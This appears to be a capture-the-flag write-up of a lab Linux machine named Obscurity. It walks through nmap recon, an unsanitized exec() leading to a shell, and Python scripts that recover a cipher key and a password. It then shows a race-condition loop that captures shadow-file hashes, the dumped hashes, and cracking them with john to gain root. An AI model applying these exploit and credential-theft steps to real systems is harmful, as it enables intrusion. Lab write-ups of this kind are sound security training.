Obscurity is a Medium Difficulty linux box that deals with python exploitation and race conditions
Recon
we start off by scanning Obscurity's IP 10.10.10.168 with nmap
nmap -T4 -A -v 10.10.10.168
From our scan we get the following results
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp closed http
8080/tcp open http-proxy BadHTTPServer
We find that there is a webpage hosted via a BadHTTPServer on port 8080, So lets take a look at what we have
We find that we have some useful information that we can later use right on the webpage
123 Rama IX Road, Bangkok
010-020-0890
secure@obscure.htb
obscure.htb
Development
Server Dev
Message to server devs: the current source code for the web server is in 'SuperSecureServer.py' in the secret development directory
As well as a clue that there is a server we can access at a undisclosed location with the name SuperSecureServer.py
On line 139 we find a exec function that does not sanitize the URI prior to including it as part of the info string. To this end we can potentially create a reverse shell.
www-data@obscure:/$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Enumerating the user dir robert we find a file encrypter/decrypter SuperSecureCrypt.py and a check.txt file that tells us Encrypting this file with your key should result in out.txt, make sure your key is correct!
In addition to this we also find a encrypted file called passwordreminder.txt so lets pull everything down!
we can use b64 to encode and copy the files to our side and decode to their original states
#python3 known_plaintext.py
def getkey(cipher, plain):
position = 0
key = ""
for item in list(plain):
cipherchar = cipher[position]
plainchar = ord(item)
key += chr((ord(cipherchar) - plainchar))
position +=1
print(key)
with open('out.txt') as f:
cipher = f.read()
with open('check.txt') as f:
plain = f.read()
getkey(cipher, plain)
alexandrovich
We can use the following script to decrypt the password
#!/usr/bin/env python3
import string
def decrypt(text, key):
keylen = len(key)
keyPos = 0
decrypted = ""
for x in text:
keyChr = key[keyPos]
newChr = ord(x)
newChr = chr((newChr - ord(keyChr)) % 255)
decrypted += newChr
keyPos += 1
keyPos = keyPos % keylen
return decrypted
key = ''
pt = "Encrypting this file with your key should result in out.txt, make sure your key is correct!"
with open('out.txt', 'r', encoding='UTF-8') as f:
ct = f.read()
for i in range(len(ct)-2):
for c in string.printable:
decrypted = decrypt(ct[i], c)
if decrypted == pt[i]:
key += c
#key = 'alexandrovich'
with open('passwordreminder.txt', 'r', encoding='UTF-8') as f:
ct = f.read()
print(decrypt(ct, key))
Running the script we get SecThruObsFTW
We can now ssh with the credentials robert:SecThruObsFTW
ssh robert@10.10.10.168
robert@obscure:~$ id
uid=1000(robert) gid=1000(robert) groups=1000(robert),4(adm),24(cdrom),30(dip),46(plugdev)
Post Exploitation
Doing a simple sudo -l reveals that we can run sudo in the following context
User robert may run the following commands on obscure:
(ALL) NOPASSWD: /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
Running the above however sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py results in a error FileNotFoundError: [Errno 2] No such file or directory: '/tmp/SSH/19WB3lNH' upon creating the tmp/SSH directory however we get Authed and have a new shell
Checking on the source code of BetterSSH we see that it writes the contents of shadow to disk, reads, auths & deletes it which gives us a chance to get root hash
To achieve this we will open a second ssh session and run
while true; do if [ "$(ls -A /tmp/SSH)" ]; then cat /tmp/SSH/*; break; fi; done
and from the original we will run sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py again
SESSION 1
sudo /usr/bin/python3 /home/robert/BetterSSH/BetterSSH.py
robert
asd
SESSION 2
while true; do if [ "$(ls -A /tmp/SSH)" ]; then cat /tmp/SSH/*; break; fi; done
root
$6$riekpK4m$uBdaAyK0j9WfMzvcSKYVfyEHGtBfnfpiVbYbzbVmfbneEbo0wSijW1GQussvJSk8X1M56kzgGj8f7DFN1h4dy1
18226
0
99999
7
robert
$6$fZZcDG7g$lfO35GcjUmNs3PSjroqNGZjH35gN4KjhHbQxvWO0XU.TCIHgavst7Lj8wLF/xQ21jYW5nD66aJsvQSP/y1zbH/
18163
0
99999
7
and with that we have root's hash, now to call up john and crack it
john --wordlist=/rockyou.txt hash
mercedes (?)
And we get root credentials root:mercedes unfortunately we cannot ssh using it but we can use su in a ssh session and get root
robert@obscure:/tmp$ su
Password:
root@obscure:/tmp# id
uid=0(root) gid=0(root) groups=0(root)